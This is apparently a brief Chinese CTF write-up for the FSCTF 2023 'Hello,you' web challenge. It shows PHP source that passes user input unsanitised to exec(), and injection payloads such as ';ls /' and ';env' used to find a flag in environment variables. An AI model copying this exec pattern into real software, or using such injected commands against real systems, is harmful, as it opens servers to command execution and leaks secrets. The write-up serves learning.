【FSCTF 2023】Hello,you

Contents

[FSCTF 2023]Hello,you

我是在nss做的,好像原题flag位置不一样。

原题好像在根目录,但是nss这个在env

思路

  • 看页面源码可以得到部分源码

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
    <?php
    $input = isset($_GET['input']) ? $_GET['input'] : '';
    
    // 执行命令并返回结果
    function executeCommand($command) {
    $output = '';
    exec($command, $output);
    return $output;
    }
    
    // 注册用户
    function registerUser($username) {
    // .........
    $command = "echo Hello, " . $username;
    $result = executeCommand($command);
    return $result;
    }
    
    // 处理注册请求
    if (isset($_POST['submit'])) {
    $username = $_POST['username'];
    $result = registerUser($username);
    }
  • 可以知道是exec直接执行指令

  • 直接使用指令无法输出

    这里的解释是一次执行多个命令,命令之间需要用连接符连接

    好像是这么说的吧,不确定

    但是肯定是前面要加;才能执行

  • 根目录没有要在环境里面找

Payload

1
2
3
;ls
;ls /
;env

总结

  • RCE
0%